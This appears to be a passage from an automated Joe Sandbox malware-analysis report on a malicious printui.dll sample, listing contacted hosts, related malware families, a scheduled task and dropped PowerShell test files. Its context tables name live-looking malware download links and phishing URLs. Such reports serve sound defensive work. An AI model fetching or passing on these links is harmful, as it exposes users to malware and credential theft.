https://github.githubassets.com/favicons/favicon.png	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000032.00000002.2731045402.000001FAC75BB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/site-6eba77c30cf7.css	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/sessions-f3ddee0032e4.js	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/error-4eb12c8f65b5.css	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/primer-primitives-4cf0d59ab51a.css	svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
185.199.108.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
140.82.121.3	github.com	United States	36459	GITHUBUS	false
142.250.74.196	www.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1514428
Start date and time:	2024-09-20 12:12:57 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	131
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	printui.dll
Detection:	MAL
Classification:	mal100.evad.winDLL@212/91@4/4
Cookbook Comments:	Found application associated with file extension: .dll

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, consent.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:13:54	API Interceptor	342x Sleep call for process: powershell.exe modified
06:14:06	API Interceptor	1x Sleep call for process: rundll32.exe modified
06:14:06	API Interceptor	2x Sleep call for process: loaddll64.exe modified
06:14:17	API Interceptor	3259x Sleep call for process: svchost.exe modified
11:15:53	Task Scheduler	Run new task: console_zero path: C:\Windows\System32\console_zero.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	Inquiry-Dubai.js	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	ungziped_file.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	ip-api.com/line/?fields=hosting
	VtkzI2DleKAWijQ.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Comprobante_98756.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	comprobante_swift0000099.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	FaturaHat#U0131rlatma.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Facturas de pago 003839,72011,030184.bat.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	z11FACTURA0987654567800.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	file.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	DbwdFVTAXI.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	ip-api.com/line/?fields=hosting
185.199.108.133	3gFZ4XL3lx.exe	Get hash	malicious	Unknown	Browse
	xmr_linux_amd64.elf	Get hash	malicious	Xmrig	Browse
	https://karankv02.github.io/netflix-clone/	Get hash	malicious	HTMLPhisher	Browse
	SecuriteInfo.com.Win32.DropperX-gen.26059.13090.exe	Get hash	malicious	XWorm	Browse
	SecuriteInfo.com.Application.ProcessHacker.1.13346.5360.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.PossibleThreat.PALLAS.H.1088.12774.exe	Get hash	malicious	Unknown	Browse
	https://ranjitkumarmehta1.github.io/netflix/	Get hash	malicious	HTMLPhisher	Browse
	https://ascendtransportationllc665121.invisionapp.com/freehand/-4bO4Ia3X6	Get hash	malicious	HtmlDropper	Browse
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fkeyconserv.com%2Fskoda%2FWIA2PParYO43z1bgCVStAX12/ZHVjZXIua2FtZ2FuZ0BjbmVzc3QuZ291di5xYy5jYQ==	Get hash	malicious	Unknown	Browse
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bg%C2%ADloba%C2%ADlproc%C2%ADessi%C2%ADngne%C2%ADtwo%C2%ADrk.%E2%80%8Bne%C2%ADt%2Ffghd%2Fgfjfjfg%2FlZUdcjNeQOlJngwGts6Dr8m3/Y2hhZC5yYXNtdXNlbkB0aGVybW9zeXN0ZW1zLmNvbQ==	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
140.82.121.3	6glRBXzk6i.exe	Get hash	malicious	RedLine	Browse	github.com/dyrka314/Balumba/releases/download/ver2/encrypted_ImpulseCrypt_5527713376.2.exe
	firefox.lnk	Get hash	malicious	CobaltStrike	Browse	github.com/john-xor/temp/blob/main/index.html?raw=true
	0XzeMRyE1e.exe	Get hash	malicious	Amadey, Vidar	Browse	github.com/neiqops/ajajaj/raw/main/file_22613.exe
	MzRn1YNrbz.exe	Get hash	malicious	Vidar	Browse	github.com/AdobeInstal/Adobe-After-Effects-CC-2022-1.4/releases/download/123/Software.exe
	RfORrHIRNe.doc	Get hash	malicious	Unknown	Browse	github.com/ssbb36/stv/raw/main/5.mp3

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	Inquiry-Dubai.js	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	ungziped_file.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	VtkzI2DleKAWijQ.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Comprobante_98756.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	comprobante_swift0000099.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	FaturaHat#U0131rlatma.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Facturas de pago 003839,72011,030184.bat.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	z11FACTURA0987654567800.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	file.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	DbwdFVTAXI.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	208.95.112.1
github.com	https://github.com/greenshot/greenshot/releases/download/Greenshot-RELEASE-1.2.10.6/Greenshot-INSTALLER-1.2.10.6-RELEASE.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	VegaX.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	VegaX.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	xmr_linux_amd64.elf	Get hash	malicious	Xmrig	Browse	140.82.121.4
	https://www.getcoloringpages.com/coloring/359	Get hash	malicious	Unknown	Browse	140.82.121.3
	SecuriteInfo.com.Win32.DropperX-gen.26059.13090.exe	Get hash	malicious	XWorm	Browse	140.82.121.3
raw.githubusercontent.com	3gFZ4XL3lx.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	AX3-GUI-45.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	VegaX.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	VegaX.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	xmr_linux_amd64.elf	Get hash	malicious	Xmrig	Browse	185.199.108.133
	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Get hash	malicious	Metasploit	Browse	185.199.110.133
	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Get hash	malicious	Metasploit	Browse	185.199.109.133
	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	185.199.109.133
	SecuriteInfo.com.Win32.DropperX-gen.26059.13090.exe	Get hash	malicious	XWorm	Browse	185.199.108.133
	SecuriteInfo.com.Win32.DropperX-gen.26059.13090.exe	Get hash	malicious	Unknown	Browse	185.199.110.133

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TUT-ASUS	Inquiry-Dubai.js	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	ungziped_file.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	VtkzI2DleKAWijQ.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Comprobante_98756.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	comprobante_swift0000099.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	FaturaHat#U0131rlatma.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Facturas de pago 003839,72011,030184.bat.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	z11FACTURA0987654567800.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	file.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	DbwdFVTAXI.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	208.95.112.1
GITHUBUS	https://github.com/greenshot/greenshot/releases/download/Greenshot-RELEASE-1.2.10.6/Greenshot-INSTALLER-1.2.10.6-RELEASE.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	VegaX.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	VegaX.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	https://kumarayoningithub.github.io/Netflix_Clone	Get hash	malicious	HTMLPhisher	Browse	140.82.112.22
	https://piyush-ally9.github.io/Netflix-Clone	Get hash	malicious	HTMLPhisher	Browse	140.82.114.22
	xmr_linux_amd64.elf	Get hash	malicious	Xmrig	Browse	140.82.121.4
	https://www.getcoloringpages.com/coloring/359	Get hash	malicious	Unknown	Browse	140.82.121.4
	https://pancake.swap-web3.xyz/	Get hash	malicious	Unknown	Browse	140.82.121.5
	https://karankv02.github.io/netflix-clone/	Get hash	malicious	HTMLPhisher	Browse	140.82.113.18
	SecuriteInfo.com.Trojan.Siggen29.39642.1614.1457.exe	Get hash	malicious	MicroClip, RedLine, XWorm	Browse	140.82.121.3
FASTLYUS	EACA1218AC7D98866DFE1F45785598942394234D.html	Get hash	malicious	Unknown	Browse	151.101.131.8
	https://l1w5na.verfalaidef.com/MpbF/#Mfrancis.bonnell@rsli.com	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://www.thegivingspirit.org/	Get hash	malicious	Unknown	Browse	199.232.188.157
	BraveBrowserSetup-BRV002.exe	Get hash	malicious	Unknown	Browse	151.101.66.137
	BraveBrowserSetup-BRV002.exe	Get hash	malicious	Unknown	Browse	151.101.130.137
	WOT0089836_Electrical_Single_Line_diagram%2C_lighting__RR_docx_3461849704.pdf	Get hash	malicious	Unknown	Browse	151.101.3.10
	https://wpu.soundestlink.com/ce/c/65efce92d7616773ffe07dc8/66ece9df807dd867830b30ce/66ecead547d52073653ffcd1?signature=1c5a13790c399307bb44766bf5bdb71369727526d69c53156ec3817bd3868afd	Get hash	malicious	Unknown	Browse	151.101.1.229
	http://attnationameritechiewide.weebly.com/	Get hash	malicious	Unknown	Browse	151.101.129.44
	http://www.amazon.pl/a/c/r/58Taq1bLcVvmOOVrbiwneNbdW/	Get hash	malicious	Unknown	Browse	151.101.193.16
	http://www.amazon.pl/a/c/r/58Taq1bLcVvmOOVrbiwneNbdW%20%20Amazon:%20Zaloguj%20si%C3%84%C2%99%20z%2012	Get hash	malicious	Unknown	Browse	151.101.129.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Purchase order Arizona Group 19092024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.199.108.133 140.82.121.3
	UPDATED FLOOR PLAN_3D.EXE.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.199.108.133 140.82.121.3
	ORDER_DOCUMENT_PO_GQB793987646902.TXT.MPEG.PNG.CMD.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	185.199.108.133 140.82.121.3
	Sz#U00e1mla_401337541#U00b7pdf.vbe	Get hash	malicious	Remcos, GuLoader	Browse	185.199.108.133 140.82.121.3
	Order_List.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.199.108.133 140.82.121.3
	https://wpu.soundestlink.com/ce/c/65efce92d7616773ffe07dc8/66ece9df807dd867830b30ce/66ecead547d52073653ffcd1?signature=1c5a13790c399307bb44766bf5bdb71369727526d69c53156ec3817bd3868afd	Get hash	malicious	Unknown	Browse	185.199.108.133 140.82.121.3
	http://vip3659r.com/	Get hash	malicious	Unknown	Browse	185.199.108.133 140.82.121.3
	http://hk01.ali.amzboss.top/	Get hash	malicious	Unknown	Browse	185.199.108.133 140.82.121.3
	https://urlz.fr/sfsK	Get hash	malicious	Unknown	Browse	185.199.108.133 140.82.121.3
	http://login-screen-104887.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	185.199.108.133 140.82.121.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows \System32\printui.exe	SecuriteInfo.com.Trojan.Inject5.8130.1270.16417.exe	Get hash	malicious	Unknown	Browse
	F.7z	Get hash	malicious	Unknown	Browse
	Ld0f3NDosJ.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5bh5ixnw.isb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bcbfpyxi.vwb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cg2echfa.pv4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_de5aiwjm.jx4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dubdwjhh.rh1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ewqnvvpi.xdb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ftmd15e2.i3h.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j5i0o1fz.ut0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jenxaf02.3qj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kcrf3q5b.kv2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mrq5dmzb.2ye.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n1iormnn.qpp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ndcnddt3.3c3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nxkyw3xq.0ep.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pciveovo.q0q.ps1

Download File

